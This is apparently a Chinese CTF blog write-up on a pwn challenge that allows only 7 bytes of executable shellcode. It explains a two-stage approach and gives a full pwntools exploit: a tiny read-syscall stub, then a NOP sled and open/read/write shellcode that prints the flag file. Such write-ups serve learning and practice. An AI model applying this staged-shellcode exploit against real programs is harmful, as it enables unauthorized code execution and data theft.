限制7字节写入执行的orw

本文最后更新于 2024年10月23日 晚上

限制7字节写入执行的orw

image-20240513101936436

  • buf处直接执行机器码,向其中写入read,然后再往下orw即可。这里注意,如果添加太多值就会导致超了7,所以能简洁尽量简洁。尽可能用原有的寄存器,本来想写入到buf+一段空间,但是还有对空间进行计算,所以直接往buf写,用nop填充滑下去就好。
  • 另:温习asm转化汇编为机器码的格式。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./pwn1')
#p=remote('47.98.236.4',5001)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

def debug():
gdb.attach(p)
pause(1)

shellcode = asm('''
mov edx,esi
syscall
''')

debug()
sd(shellcode)

shellcode = b'\x90'*(8)
shell = asm(shellcraft.open('flag')+shellcraft.read(3,0x600500,0x30)+shellcraft.write(1,0x600500,0x30))

shellcode += shell

sd(shellcode)

p.interactive()


限制7字节写入执行的orw
https://xyyr-c.github.io/2024/10/23/限制7字节写入执行的orw/
作者
xyyr
发布于
2024年10月23日
许可协议